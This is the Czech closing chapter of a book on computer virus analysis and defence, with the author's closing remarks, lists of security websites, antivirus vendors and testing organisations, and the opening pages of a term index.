Naše cesta výzkumem počítačových virů se blíží ke konci. Mnoho témat bohužel nebylo kvůli omezenému prostoru probráno. Psaní knihy bylo závažným úkolem a bylo vyčerpávající. Během roku 2004 dramaticky vzrostlo množství útoků počítačových červů, což vyvolalo tlak jak na Symantec Security Response, tak i na výzkumníky počítačových virů po celém světě. V této době jsem posledních 12 měsíců strávil všechny své víkendy prací na této knize a byl jsem fascinován stálou aktuálností tématu. V oblasti bezpečnosti sice samozřejmě neexistují prázdniny, já bych však určitě nějaké potřeboval!

Když jsem dokončil prvních 10 kapitol, uvědomil jsem si, jak mnoho bych ještě mohl napsat o útocích.

Tím bych však již neměl místo pro popis metod obrany. Množství útoků je ohromné a já věřím, že tato kniha demonstruje rovnováhu pokrytí mezi nimi a obranou.

Doufám, že je pro vás tato kniha zajímavá a přínosná. Doufám také, že vytrváte ve svém zájmu o počítačové viry a připojíte se k boji proti nim. Jednoho dne pravděpodobně vrhnete na trh svůj vlastní antivirový software. Nyní je to opravdu jenom na vás – znáte stav technologií počítačových virů a obranných technik. Stejně, jako se nestanete odborníkem na umění pouhou návštěvou muzea, nestanete se ani odborníkem na obranu proti počítačovým virům přečtením několika knih. To co potřebujete, je hlavně praxe.

V této knize jsem se pokusil nabídnout užitečné informace, které odpovídají mým nejlepším znalostem.

Mnoho knih, které se zabývají škodlivým kódem nebo počítačovými viry, popisuje jejich důležité techniky pouze v přílohách a často s velkým množstvím technických chyb. Takzvaná "dobře známá fakta" o počítačových virech a bezpečnosti jsou často založena na anekdotách, které nesouvisí s technickou realitou. Pokud jste s některými z těchto "faktů" obeznámeni, jistě naleznete v některých mých kapitolách této knihy protichůdné informace. Věřím, že výzkum bezpečnosti se musí rozvíjet stejným způsobem, jako jakákoliv jiná věda. Ve vědě je běžné zpochybňovat "známá fakta". Držíme-li se toho, nalezneme spoustu zajímavých detailů, které nás dovedou k novým poznatkům, a které přispívají k rozvoji oboru.

Jsem vám vděčný za pozornost, kterou jste věnovali čtení této knihy. Věřím, že v budoucnosti budete schopni pomáhat lidem, kteří nemají s počítačovými viry, a také s bezpečnostními záležitostmi tolik zkušeností.

Zbytek této kapitoly obsahuje odkazy na užitečné webové stránky, diskuse a informace spojené s počítačovými viry a bezpečností. Přeji vám mnoho úspěchů v boji proti počítačovým virům a doufám, že se setkáme na některé konferenci nebo někde v internetové diskusi!

Doporučené čtení Tato krátká část obsahuje několik webových stránek, které můžete využít k tomu, abyste si udrželi aktuální informace o počítačových virech a bezpečnosti. Protože autoři virů a škodliví hackeři neustále vymýšlejí nové typy útoků, musíte mít neustálý přehled o nových trendech.

Informace o bezpečnosti a včasných varováních  Čtěte informace o nových virech, škodlivém kódu, útocích a spyware na stránkách Symantec

Security Response, http://securityresponse.symantec.com.

Počítačové viry – analýza útoku a obrana

571

 Čtěte Security Focus na http://www.securityfocus.com. Naleznete mnoho aktuálních

a užitečných informací o bezpečnosti a každodenní praxi. Na tomto místě se také můžete přihlásit k užitečné e-mailové konferenci BugTraq, který se zabývá zranitelnostmi produktů a dalšími informacemi.  Čtěte informace o internetové bezpečnosti na http://www.cert.org.  Navštěvujte pravidelně SANS Institute’s Reading Room na adrese http://www.sans.org/rr.  Čtěte archívy NTBUGTRAQ na http://www.ntbugtraq.com. Zde se můžete také připojit do

e-mailové konference.  Zvažte připojení se k AVIEWS, kterou organizuje AVIEN. Získáte tak více informací o počí-

tačových virech a lepších možnostech ochrany vaší organizace před útoky. Můžete ji najít na http://www.aviews.net.

Bezpečnostní aktualizace Udržujte svůj počítač aktualizovaný! Informace o aktualizacích různých produktů Microsoftu hledejte na následujících místech.  M  icrosoft Seccurity Bulletins:

http://www.microsoft.com/technet/security/currentdl.aspx  O nejnovějších bezpečnostních aktualizacích se dočtete na

http://www.microsoft.com/security/bulletin/default.mspx  K provedení kritických bezpečnostních aktualizací vašeho systému použijte:

http://www.windowsupdate.com  Čtěte a používejte stránku s kritickými aktualizacemi Internet Exploreru:

http://www.microsoft.com/windows/ie/downloads/default.mspx  A ktualizace produktů Office:

http://office.microsoft.com/home/default.aspx.

Statistiky vypuknutí počítačových červů O šíření počítačových červů se můžete více dočíst zde.  C AIDA poskytuje informace o vypuknutích červů, například šíření červů Slammer a Witty, ad-

rese na http://www.caida.org/analysis/security. Zde také naleznete analýzy založené na použití "síťových teleskopů".

Dokumenty o výzkumu počítačových virů  S tránka Freda Cohena na adrese http://all.net obsahuje zajímavé články a dokumenty

o počítačových virech a bezpečnosti.  Domácí stránka Vesselina Bontcheva s množstvím vědeckých dokumentů o počítačových virech

je na adrese http://www.people.frisk-software.com/~bontchev/index.html.

Kapitola 16 – Shrnutí

572

 S tránka profesora Eugena Spafforda s množstvím zajímavých dokumentů o počítačových virech,

etice a bezpečnosti je umístěna na http://cerias.purdue.edu/homes/spaf.  K urt Wismer prostřednictvím odkazů nashromáždil mnoho výzkumných zpráv o počítačových

virech. Tento vyčerpávající seznam obsahuje odkazy na práce více než 100 předních výzkumníků počítačových virů. Stránku naleznete na adrese: http://members.tripod.com/~k_wismer/ papers.htm.

Kontaktní informace na prodejce antivirů Tabulka 16.1 obsahuje kontaktní informace na prodejce antivirů v abecedním pořadí.

Tabulka 16.1 – Někteří certifikovaní prodejci antivirového software.

Prodejce

Webová stránka

ALWIL Software

http://www.avast.com

Authentium ("Command Software")

http://www.authentium.com

Cat Computer Services

http://www.quickheal.com

Computer Associates

http://www.ca.com/etrust

Cybersoft

http://www.cyber.com

DialogueScience

http://www.dials.ru

ESET Software

http://www.nod32.com

F-Secure ("Data Fellows")

http://www.f-secure.com

Freedom Internet Security

http://www.freedom.net

Frisk Software

http://www.f-prot.com

GFI MailSecurity

http://www.gfi.com/mailsecurity

GeCAD (Acquired by Microsoft Corporation)

http://www.ravantivirus.com

Grisoft

http://www.grisoft.com

H+BEDV Datentechnik

http://www.antivir.de

HAURI

http://www.hauri.co.kr

Hacksoft

http://www.hacksoft.com.pe

Hiwire Computer & Security

http://www.hiwire.com.sg/antivirus/index.htm

Ikarus

http://www.ikarus.at

Kaspersky Labs

http://www.kaspersky.com

Leprechaun Software

http://www.leprechaun.com.au

Počítačové viry – analýza útoku a obrana

Prodejce

Webová stránka

MKS

http://www.mks.com.pl

MessageLabs

http://www.messagelabs.com

MicroWorld Software

http://www.microworldtechnologies.com

Network Associates

http://www.nai.com

Norman Data Defense Systems

http://www.norman.com/no

Panda Software

http://www.pandasoftware.com

Per Systems

http://www.perantivirus.com

Portcullis Computer Security

http://www.portcullis-security.com

Proland Software

http://www.pspl.com

Reflex Magnetics

http://www.reflex-magnetics.co.uk

Safetynet

http://www.safe.net

Software Appliance Company

http://www.softappco.com

Softwin

http://www.bitdefender.com

Sophos

http://www.sophos.com

Stiller Research

http://www.stiller.com

Sybari Software

http://www.sybari.ws

Symantec Corporation

http://www.symantec.com

Trend Micro Incorporated

http://www.trendmicro.com

VirusBuster Ltd.

http://www.virusbuster.hu/en

573

Testeři antivirů a příbuzné stránky V této části prezentuji informace o testech antivirů a příbuzných stránkách. Mějte prosím na paměti, že každý z těchto nezávislých testerů používá velice odlišnou metodologii testování. stránka je na http://www.virusbtn.com. Zde můžete číst srovnání antivirů, nalézt informace o produktech stoprocentně certifikovaných VB a získat nezávislá doporučení o antivirech. Stejně tak zde naleznete nejnovější verze nástroje VGrep. Je zde také archív minulých vydání s nejlepšími dostupnými analýzami počítačových virů. Můžete si také předplatit magazín, jehož cena je v současné době 195 liber ročně.

 V irus Bulletin – jeho

 Nejnovější nezávislé testy antivirů VTC (Virus Test Center) univerzity v Hamburgu jsou na

adrese http://agn-www.informatik.unihamburg.de/vtc. Výzkumné centrum je vedeno Prof. Dr. Klausem Brunnsteinem.

574

Kapitola 16 – Shrnutí

 Nezávislé testy antivirů produkuje také AV-Test.org. Jedná se o společný projekt univerzity

v Magdeburgu a firmy AV-Test GmbH Andrease Marxe. Můžete jej nalézt na http://www.av-test.org.  ICSA Labs, divize firmy TruSecure Corporation, také provádí certifikace antivirů a vydává ICSA

Labs Certification. Jejich domáci stránku můžete nalézt na http://www.icsalabs.org/ html/communities/antivirus.  Přestože EICAR (European Institute for Computer Antivirus Research) neprovádí testy přímo,

poskytuje pro testování antivirů soubor eicar.com. Ten obsahuje kód, zakódovaný jako dlouhý řetězec, takže může být vyjmut a překopírován do souboru. S jeho pomocí je možné testovat schopnosti vašeho antivirového software bez nutnosti použít skutečný vir. Tento soubor je většinou antivirových programů detekován pod jménem podobným "EICAR_Test_File". Původní testovací soubor EICAR byl bohužel zneužíván autory virů, protože jeho první definice neobsahovala formální kritéria toho, co přesně má být detekováno a co ne. Z toho důvodu některé viry vkládali do řetězce sami sebe (například dávkové nebo skriptovací škodlivé kódy) a snažily se tak zmást uživatele, kteří si měli myslet, že soubor obsahující virus je neškodný. Přesná specifikace testovacího souboru EICAR byla nedávno aktualizována a vývojářům antivirových produktů je doporučováno držet se detekce podle této specifikace na http://www.eicar.org/anti_virus_test_file.htm.  SC Magazine provádí vyhodnocení bezpečnostních produktů prostřednictvím Checkmark

Certification laboratoře West Coast Labs. Jejich stránky je možné najít na adrese http://westcoastlabs.org.  Organizace "WildList Organization International" produkuje "Wildlist of Computer Viruses".

Je k dispozici každý měsíc od roku 1993. Zdrojem informací jsou hlášení shromážděná z celého světa. Wildlist se používá pro některé certifikace antivirů. Můžete jej najít na http://www. wildlist.org.  V irus Research Unit (skupina výzkumu virů) na univerzitě v Tampere, ve Finsku, byla nějakou

dobu neaktivní. Očekává se však, že obnoví provádění testů antivirů pod vedením Dr. Marka Heleniuse. Jejich stránky jsou na http://www.uta.fi/laitokset/virus.  Další nový program certifikace antivirů byl implementován Dr. Leitoldem Ferencem v Maďar-

sku. Je umístěn na http://www.checkvir.com.  A ndreas Clementi také implementuje nový program certifikace – je k dispozici pro produkty,

které používají výhradně svoje vlastní technologie.

Počítačové viry – analýza útoku a obrana

Rejstřík .data, 157 .debug, 158 <infekční_délka>, 55 <jméno_rodiny>, 54 <jméno_skupiny>, 55 <modifikátory>, 55 <platforma>, 54 <specifikátor_lokace>, 55 <varianta>, 55 <způsob_komprimace>, 56 1nternal, 99 256 různých přerušení, 178 2 GB adresovacího prostoru, 455 prostor systému, 434 32bitové polymorfní viry, 240 systémy Windows, 230 viry, 430 pro Windows, 217 32bitový Windows virus, 111 40Hex, 73 64bitová architektura IA64, 71 64bitové procesory, 73

A ABAP, 56 viry na SAPu, 93 ACADLispScript, 56 Access, 75 Access97Macro, 57 AccessMacro, 57 ACG, 246, 405 Acrobat, 94 ActionScript, 58, 95 Activate, 112 ActiveX, 87 ADM_Mutate, 518 Administrátor systému, 422 Adobe PDF, 94 adresářová stealth technika, 186 adresářový stealth virus, 188

Adresář stránek, 433 adresa API, 160 bufferu návratových hodnot, 438 INT 21h, 202 knihovní funkce free(), 496 návratové hodnoty, 449 obsluhy, 202 ovladače výjimky, 352, 490 rámce výjimky, 490 Schedule_VM_Event, 167 systému, 266 uživatelského ovladače, 478 vektoru přerušení, 180 volajícího kódu, 488 vstupního bodu, 155 hostitele, 239 adresovací prostor, 169 zranitelného procesu, 470 adresy heapu, 355 adware, 52 Agent Nexus, 462 Agresivní retroviry, 226 skenování jiných systémů, 497 AHD, 417 AIDS TROJAN DISK, 47 aktivace počítačových virů, 266 viru, 140 Aktivační rutina, 177, 268 viru, 271 Aktivní instrukce, 396, 397 kopie viru, 448 oblast, 121 Aktualizace produktů Office, 571 aktualizační mechanismus, 498 Aktuální soubor CEF, 111 systémové datum, 255 Alan Salomon, 186, 538 Aldebera, 134

575

Alexsander Czarnowski, 320 Algoritmické skenovací metody, 385 skenování paměti, 461 Algoritmický sken, 386 skener, 461 algoritmus CRC32, 207 kontrolního součtu, 164 pro korektní přepočítání, 219 algoritmy infekce, 170 alokace paměti, 97 Alokační rutiny glibc, 356 tabulky, 75 alokovaná velikost v bajtech, 438 alokované stránky, 442 ALS, 56 alternativní vstupní bod, 214 ALWIL Software, 572 AMD64, 71 Amiga, 92 AmiProMacro, 58 Amoeba, 134 Analyzátor protokolů, 509 síťového toku, 509 analýza hlaviček síťových protokolů, 509 počítačových červů, 530 virů, 43 polymorfních virů, 561 různých typů infekce, 215 síťového provozu, 498 škodlivého kódu, 41 souborového formátu, 215 virových kódů, 203 virů, 527 viru Stoned, 43 analýzy škodlivého kódu, 499

576

Rejstřík

škodlivých programů, 523 Anarchy.6093, 111 Andreas Clementi, 574 Andrew Krukov, 82 Andrian Marinescu, 426 ANIMAL, 37 Anna Kournikova, 263 ANSI, 94 Anti-AVP, 226 AntiEXE, 270 antiheuristický trik, 216, 253 antivirová databáze, 226 detekce, 564 antivirové firmy, 82 programy, 44, 111 rozhraní, 505 skenery, 164 antiviroví výzkumníci, 324 antivirový program, 42 MSAV, 226 skener, 182 e-mailů, 469 software, 462 API knihovny WINSOCK, 488 ReadProcessMemory(), 438 TerminateProcess(), 448 TerminateThread(), 449 VirtualQueryEx(), 453 volání ExitProcess()), 255 aplikace BartPE, 452 napsaná v Delphi, 538 sendmail, 325 webového prohlížeče, 509 write.exe, 547 z pozadí, 445 Apple, 68 Macintosh, 106 AppleScript, 58, 94 argumenty funkce na zásobníku, 359 ARJ, 88

ARM, 110, 151, 319, 528 ASPACK, 134 ASPack, 207, 216 ASProtect, 207 Assemblování, 402 AssignMakroToFile(), 98 ATM, 274 atribut ExecuteOnly, 344 zapisovatelné stránky, 483 AttachDeviceByPointer(), 457 AttachedDevice, 458 australský magazín VLAD, 203 Autentizace, 25, 41, 119, 173 Authentium, 572 Auto-Rootery, 50 Auto_Close, 80 Auto_Open, 80 AutoCAD, 37 autochk.exe, 72 AutoClose, 80 Autodesk, 37 AutoLisp, 96 Automatická analýza, 63 virů, 237 automatické spouštění programů, 69 Automaticky se replikující kód, 38 trénovaná heuristika, 412 Automatizovaná detekce exploitů, 499 Automatizované analytické centrum, 565 AutoOpen, 80 autoři virů, 126 Autorun, 100 autor Spanska, 268 virů Ratter, 74 Vecna, 108 Zombie, 251 Whale, 245 AVIEWS, 571

B BA, 56 backdoory, 234 Back Officer Friendly, 512 Orifice, 317 BartPE, 452, 463 barvy obrazovky, 97 bash skript, 86 BAT, 56 BAT/Polybat, 88 baterie mobilního telefonu, 320 Báze decryptoru, 239 znalostí, 528 Bázová adresa modulu, 155, 162 bázové adresy, 455 BCVG, 92 behavior blockers, 194 běh kódu zásobníku, 560 zapisovatelných stránek, 481 Benny, 69, 101 betaverze produktů Microsoftu, 75 Bezdiskové pracovní stanice, 125 bezdiskový systém, 505 Běžící SoftICE, 213 Bezpečnostní aktualizace, 471 datové struktury, 196 díra, 324 exploity, 324 hodnoty pro alokaci paměti, 501 informace, 499 kompromis, 476 nastavení dokumentu, 98 okruhy, 196 prozkoumání kódu, 472 řešení, 509 záplaty, 368, 471 Bezproblémová emulace, 405 BHP, 67

Počítačové viry – analýza útoku a obrana binární červi, 466 hrozby, 109 kódy virů, 230 podoba virů, 42 soubory, 534 virus, 63 viry, 319 BIND, 350 bitmapový obrázek, 269 Bitové pole registrů, 239 bit Supervisor, 481 Bizatch, 70 BlackHat, 484 BlackIce, 508 Black Baron, 390 Blade Runner, 101 Blokované porty, 507 blokování, 510 červa W32/CodeRed, 489 W32/Slammer, 488 W32/Witty, 489 červů na bázi hostitele, 470 INT 1, 209 kódu shellu, 483, 485 monitoru chování, 178 nových útoků, 470 skriptů, 467 bloky decryptoru, 135 kódu, 249 blok informací threadu, 213 TIB, 490 Bluesniff, 320 Bluetooth, 319 printer, 320 body snatching, 317 bombardování, 36 Boot, 56 bootovací sekvence, 63 virus, 42 Den_Zuko, 317 KOH, 272

boot sektory, 431 disků, 120 diskety, 42 strap loader, 120 virus, 114, 175 viry, 120, 179 Borland Delphi, 111 Quattro, 175 Bots, 531 BoundsChecker, 472 BPM, 556 Brain, 63, 120, 175, 431 breakpoint, 214, 562 brute-force, 217 BSD, 59, 325 Btscanner, 320 budoucí infekce, 418 útoky červů, 498 buffery řetězců, 478 TLB, 481 Bugbear, 278 bulharský nápoj, 70 virus DIR-II, 66 Yankee_Doodle, 202 Burstead, 96 BytesWritten, 438, 449

C Cabanas, 150 CAIDA, 571 CALL-POP, 220 CallBack(), 334 callg, 349 CALL instrukce, 143 CARO, 53 Cascade, 42, 43, 64, 69, 268 časovač, 234 Časovače, 443 části

577

řetězců, 208 útoku, 511 část červa Slammer, 521 VxD, 152 zaváděcího sektoru, 271 Cat Computer Services, 572 CBAC, 505 CEF, 110 centralizovaná správa systémů, 422 centrální databáze registru, 97 Červ, 461 AIDS TROJAN DISK, 47 Blaster, 494 Cabir, 319 CHRISTMA EXEC, 84 CodeRed, 519 Dabber, 318 Doomjuice, 317 Father Christmas, 85 Happy99, 71 Morris, 48, 325 Mydoom, 467 Neat, 275 SymbOS/Cabir, 319 v adresáři Windows, 544 W32/Blaster, 274 W32/Borm, 317 W32/CodeRed, 466 W32/Dabber, 318 W32/Nimda, 100 W32/Sasser, 318 W32/Slammer, 274 W32/Sobig.F@mm, 467 W32/Welchia, 318 W32/Witty, 499 W32/Witty, 49 WANK, 267 Welchia, 520 Witty, 508 červí propagace, 168 Červi pro bezdrátová mobilní zařízení, 319 rozesílající e-maily, 102

578

Rejstřík

WebTV, 91 Český autor virů Ratter, 74 Cesta vykonávání programu, 140 četnost pokusů o spojení, 497 CGI skript, 263 ChangeMenuAction(), 98 Characteristics, 158 charakteristiky šíření, 498 CheckSumMappedFile(), 164 Chobotnice, 46 chování jádra, 51 CHRISTMA EXEC, 84 chyba běžného programu, 46 stránky, 437 Chybějící PSAPI.DLL, 438 chybný kód v jazyce C, 475 chybová hláška, 169 chybové hlášení, 338 chyby spojení, 497 chytré bezdrátové telefony, 319 Chytré skenování, 382 cílený projev viru, 124 Cílové umístění zakódovaného těla, 239 CISC, 349 Cisco PIX, 507 Číslo disku, 179 hlavy, 179 subfunkce, 179 čistý restart, 527 citlivost objektů, 419 CLIPSRV.EXE, 439 closedir(), 92 CLR, 101 cluster, 192 clusterová infekční technika, 67 clustery, 75 Cluster viry, 66 cmd.exe, 277, 484 CmdAdd, 99, 103 CmdDelete, 99 CMOS, 121 CMP, 181

CMS příkaz SENDFILE, 84 CODE, 157 CodeGreen, 318 CodeRed, 199, 351, 506 COFF, 548 Coke, 83 Collapsar, 511 Commodore 1541, 67 Commander_Bomber, 136 common executable file, 110 companion viry, 38 COMPAQ, 120 Computer Associates, 572 COM prependery, 130 soubor, 103 viry v prostředí DOSu, 69 Concept.A, 75 CONFIG.SYS, 94 connect(), 72, 483 Content-Type, 342 copy, 97 CopyFile(), 90 CorelScript, 58, 98 Costin Raiu, 82, 426 CPUID, 223 CR0, 458 crackovač hesel, 86 John The Ripper, 86 CRC32, 207 CreateFile(), 409, 483 CreateObject, 90 CreateProcess(), 409, 483 ve Windows, 483 CreateThread(), 81, 483 Creeper, 37 Cruncher, 134 crypto, 109 CS:IP, 209 čtení aktuálního adresovacího prostoru, 438 kódu knihoven, 538 z FS:[18], 213

čtyřbajtová fronta instrukcí procesoru, 212 čtyři neuronové sítě, 411 CurrentContent, 91

D DACs, 419 DAME, 137 Dark_Avenger, 43 DarkParanoid16, 461 Darren Chi, 82 Darth_Vader, 184 data, 26 datagram, 49, 190, 521 Data Diddlers, 271 Fellows, 527 Rescue, 204, 537 datové konstanty ve viru, 204 razítko, 266 sešity, 83 datově závislá rutina, 416 datový buffer, 179 datum infikovaných souboru, 190 Dave Chess, 251 dávkové infektory, 416 soubory, 87 viry, 87 dávkový virus, 99 DBR, 123 DCL viry na DEC/VMS, 85 DDK, 529 DDoS, 51 DEBUG, 42, 181 DEBUG.EXE, 107 Debugger v režimu jádra, 555 uživatele a jádra, 555 uživatelském režimu, 555 debuggery, 140 na aplikační úrovni, 211, 214

Počítačové viry – analýza útoku a obrana virtuálních strojů, 556 Debugování, 544 decryptor, 135, 190 dat červa, 205 viru Cascade.1701, 231 založený na RDA, 243 decryptovací rutina, 205 smyčka, 205 smyčky, 212 decryptování virového těla, 208 DEC systém, 267 Dedikovaná analýza virů, 529 DeepSight, 514 definice počítačových virů, 38 smíšeného útoku, 324 definitivní generátor virů, 250 definování uživatelských, 88 degenerace makra, 81 Dekodér paketů, 509 dekódovací klíč, 217 metody, 217 rutina viru, 541 vrstva viru, 234 Dekódovaná data, 205 dekódované tělo viru, 241 dekódování, 205, 237 těla, 217 UTF-8, 341 virového těla pozpátku, 212 viru, 396 zakódovaného obsahu, 234 Dekomprese, 536 dekompresní rutina, 536 dekomprimovaný obsah, 536 Dělené dutinové viry, 133, 165 DeleteFile(), 409 délka polymorfního dekryptoru, 391 Delphi, 130 Demon Emperor, 125 Den_Zuko, 317 denial of service, 332 Denzuko, 124

desetibitový offset, 433 dešifrovací algoritmus, 224 dešifrování, 537 Detaily přetečení buferu, 351 detekce, 143 breakpointů, 209 debuggeru, 211 decryptoru, 389 dlouhé položky key_arg, 518 exploitace, 522 exploitů, 499 injektovaného kódu, 483 krokování, 209 neznámých virů, 215 podezřelých operací, 215 pokročilých útoků, 510 polymorfních virů, 395 přímého vyvolání funkcí knihovny, 494 struktury, 382 tříd virů, 424 viru Evol, 404 změny toku kódu, 482 ZM varianty, 69 detekční řetězec, 270 spolehlivost skenerů, 241 stroj, 510 DeviceIoControl(), 68 DeviceTree, 457 dezinfekce, 429 EXE souborů, 69 paměti, 448 zavedených DLL, 452 dezinfekční program, 43, 192 systém, 452 Dialer, 49 DialogueScience, 572 digitálně podepsaný kód, 493 Digital Immune System, 526, 529 DIR, 191 DIR-II, 66 DIRECT_INFECTION, 539 DIS, 526

579

disassemblery, 204 Disassemblovací techniky, 402 Disassemblování, 402, 535, 537 hostitele, 147 DISKCOPY, 123 disková obsluha BIOSu, 192 Disk Killer, 124, 272 dispatcher, 490 DLL, 71 DMCA, 513 Dmitry Gryaznov, 234 O. Gryaznov, 321 DNS, 527 server, 527 doba detekce viru, 271 Dobré antivirové systémy, 527 dočasné obrazy, 526 paměťové rezidentní viry, 195 dočasný bit, 76 DOCFILE, 75 DocFile Viewer, 76 DocumentedCreated(), 98 DocumentOpened(), 98 dodatečné informace, 131 nástroje BIOSu, 120 sektory, 123 dokumentovaná AP, 198 dokumenty Wordu, 164, 167 doladění parametrů útoku, 354 Donut45, 101 Doomed, 112 dopady počítačových virů, 422 Doprovázení programů, 482 Doprovodné viry, 165 DOS, 51, 274, 324, 466 dosažení residentnosti v rámci procesu, 197 dosažitelnost, 481 DosFindFirst(), 70 DosFindNext(), 70 DOSGEN.EXE, 125 DosOpen(), 70

580

Rejstřík

DOSové EXE infektory, 407 DOSovské COM soubory, 85 DOSovský DEBUG.EXE, 107 DOSový příkaz DIR, 191 virus Cruncher, 134 Monxla, 195 Whale, 213 DosRead(), 70 DosWrite(), 70 DOS stub program, 153 útok, 91 Dr. Alan Solomon, 427 Igor Muttik, 322 Vesselin Bontchev, 320, 321 dřívější hrozby, 348 DriverEntry, 457 Droppery, 49 druhá položka infikovaného PE souboru, 190 druh komprimátoru, 537 poškození, 271 druhy firewallů, 507 trojských koňů, 47 dsize, 522 Dutinové viry, 132 důvěryhodnost, 425 dvojice instrukcí CALL/POP, 206 DWORD, 187 AddressOfEntryPoint, 155 Checksum, 156 FileAlignment, 155 ImageBase, 155 SectionAlignment, 155 SizeOfCode, 155 SizeOfImage, 156 Dynamická detekce decryptoru, 400 heuristika, 215

druhé generace, 217 knihovna, 480 změna báze, 494 dynamické dekódování zakódovaného těla, 236 knihovny, 71 metody, 215 DynamoRIO, 482

E easter eggs, 47 EBP, 329 ecophagy, 28 editor VI, 92 Edward Fredkin, 28, 322 efektivita technik blokování, 484 efekt skenování paměti, 446 EICAR, 574 EICAR_Test_File, 574 EIP, 329, 495 ekofágie, 28 ELF, 493, 548 Elk Cloner, 63 EltGuard, 209 EM64T, 528 EMACS viry, 92 eMbedded Visual C++, 110 empirické metody, 499 emulace aplikací Windows, 225 boot sektoru, 415 kódu, 135, 203, 215, 544 systému souborů, 405 viru Fabi, 399 vykonávání programu, 406 zakódovaného viru, 397 emulátor, 222 emulátory, 527 kódu, 247 emulátor antivirového programu, 223 antivirových enginů, 224 kódu, 215, 217

uvnitř skeneru, 206 ENCODE_FILE, 541 engine ETG, 253 Mistfall, 253 MtE, 417 neuronové sítě od IBM, 412 EntryPoint, 460 Obscuring, 217 ENUMERATE_SHARES, 541 EnumWindows(), 93 EPO, 102, 139, 217 infektory aplikací Windows, 416 mechanismus, 255 technika integrace kódu, 148 techniky, 254 viry, 406 založené na integrování kódu, 147 EPOC, 56, 319 error handler, 78 ESC sekvence, 94 ESET Software, 572 Etap.D, 73 Ethereal, 515, 552, 557 Eugene H. Spafford, 321 Kaspersky, 463, 537 EVENTLOG.EXE, 439 Excel97Macro, 58 ExcelFormula, 58 ExcelMacro, 58 Exebug, 121 Exec-8, 37 execve(), 483 EXE infektory, 407 viry v prostředí DOSu, 69 ExitProcess, 257 exploitace, 44, 469 Exploitace přetečení, 331 bufferu zásobníku, 327 ukazatele funkcí, 474 zranitelností systémů, 63

Počítačové viry – analýza útoku a obrana Exploitační kód, 48 řetězec, 338 exploitovací kód, 519 Exploitované zranitelnosti, 507, 540, 572 exploitovaný stav zásobníku, 338 exploitovatelné zranitelnosti, 508 Exploity, 48, 323 MIME, 363 pro procházení webu, 535 exportované funkce, 254 exportování funkce, 160

F F-Secure, 572 Falešná data pro správu paměti, 356 pozitiva, 481 falešné EPB, 329 poplachy, 420 fáma o viru Good times, 52 fatální chyby, 127 Father Christmas, 85, 104 FAT tabulka, 124 fáze inicializace viru, 241 fclose(), 92 file_exists(), 92 FileAlignment, 158 FileClose, 79 Filemon, 227, 544 FileNew, 79 FileOpen, 79 FileSave, 79 FileSaveAs, 79 FileTemplates, 79 Filler, 124 Filozofie vedoucí k zastavení útoku, 486 filtrace extrahovaného textu, 535

Filtrovací ovladač, 456 v režimu jádra, 544 ovladače souborových systémů, 456 Filtrovací technika, 386 Filtrování, 386, 531 findfile, 96 FindFirst, 174 FindFirst(), 98 FindFirstFile(), 409 FindFirstFileA(), 187, 221 FindNext, 174 FindNext(), 98 FindNextFile(), 409 fingerd, 473 fingerprint cílového systému, 513 Finnpoly, 64 firemní síť, 504 firewall, 226 BlackIce, 552 Firewally, 504 Flash, 95 Flip, 185 flirt signatures, 538 Floodery, 51 FluShot, 260, 422 fopen(), 92 Formát CEF, 110 ELF, 528 LE, 73 souborů PE, 70 VxD, 529 spustitelných souborů, 110 VxD, 74, 114 formátování harddisku, 266 řetězců, 335 formy obrany proti ladění, 207 FORWARD, 89 fprintf, 335 FPU, 222 fputs(), 92

581

fragmentace paketů, 506 fragment komentáře, 76 fragmenty kódu, 215 frame pointer, 473 Frans Veldman, 390 fread(), 92 Frederick Cohen, 44, 420 Fredkinova pravidla pro automaty, 28 FreeBSD/Scalper, 483 Freedom Internet Security, 572 Fridrik Skulason, 114 Frisk Software, 572 fronta instrukcí, 212 function_epilogue, 473 function_prologue, 473 funkce API, 438 AssignMakroToFile(), 98 Bluetooth, 319 Bogus(), 476 ChangeMenuAction(), 98 chr(), 80 CreateThread(), 151 definice oken, 106 řízení, 106 DriverEntry, 457 findfile, 96 FindFirst(), 98 FindFirstFileA(), 159 Foobar(), 144 fopen(), 92 IsDebuggerPresent(), 211 KiSystemService(), 198 listdir(), 92 main, 349 myši, 106 New(), 105 OpenProcessToken(), 440 počtu definic, 106 pro trasování zásobníku, 488 read_mem(), 394 show_message(), 113 souborového systému, 431 standardu ANSI, 335

582

Rejstřík

strcpy, 328 strcpy(), 476 strncpy, 328 system(), 130 TcpSockSend(), 275 VirtualAlloc(), 441 WinExec(), 94 zápisu souboru, 205 ZwOpenProcess(), 454 funkční části programu, 156 makro virus, 75 funkčnost aplikace, 130

G Games with Computers, 32 Game Maker, 112 Gaobot, 318, 461 Gary Nebbett, 529 GeCAD, 572 generace heuristických skenerů, 219 symbolů, 29 Generátory počítačových virů, 260 virů, 50 GenVir, 260 goat souborů, 546 generátor IVP, 262 PS-MPC, 412 pseudonáhodných čísel, 234 VCL, 261 viru, 149, 250 Generická detekce, 379 Generické decryptory, 225, 388, 414 metody dezinfekce, 412 modely detekce virů, 230 generický dekódovací engine, 249 dezinfektor, 414 kód, 120 generování kódu, 475

shellu, 485 nových virů, 50 výjimky, 223 dělení nulou, 211 genetický algoritmus, 500 Geneze počítačových virů, 37 GenVir, 260 Geometrická detekce, 402 Gerald Tesauro, 426 GET, 492 GET_APIS_WITH_CRC, 540 GET_BASE, 540 GetModuleHandle(), 220, 408 GetProcAddress(), 187, 220, 408, 483, 552, 557 gets(), 480 GetTickCount(), 557 getwd(), 480 GetWindowsDirectory(), 80 get file size, 183 GFI MailSecurity, 572 Ghostball, 114 Gigabyte, 88 gimmeRAND, 350 globální datová sekce, 333 tabulka offsetů, 482 tabulky offsetů, 493 ukazatel jádra, 459 GOT, 354, 482 GP jádra, 460 grafický payload, 533 Green_Stripe_Virus(), 98 Grisoft, 572 GSM zařízení, 110 GUI aplikace, 72

H HA, 102 Hacksoft, 572 Halda, 330 Hammingův kód, 214 handle, 439 vlákna, 449 Happy99, 71, 269

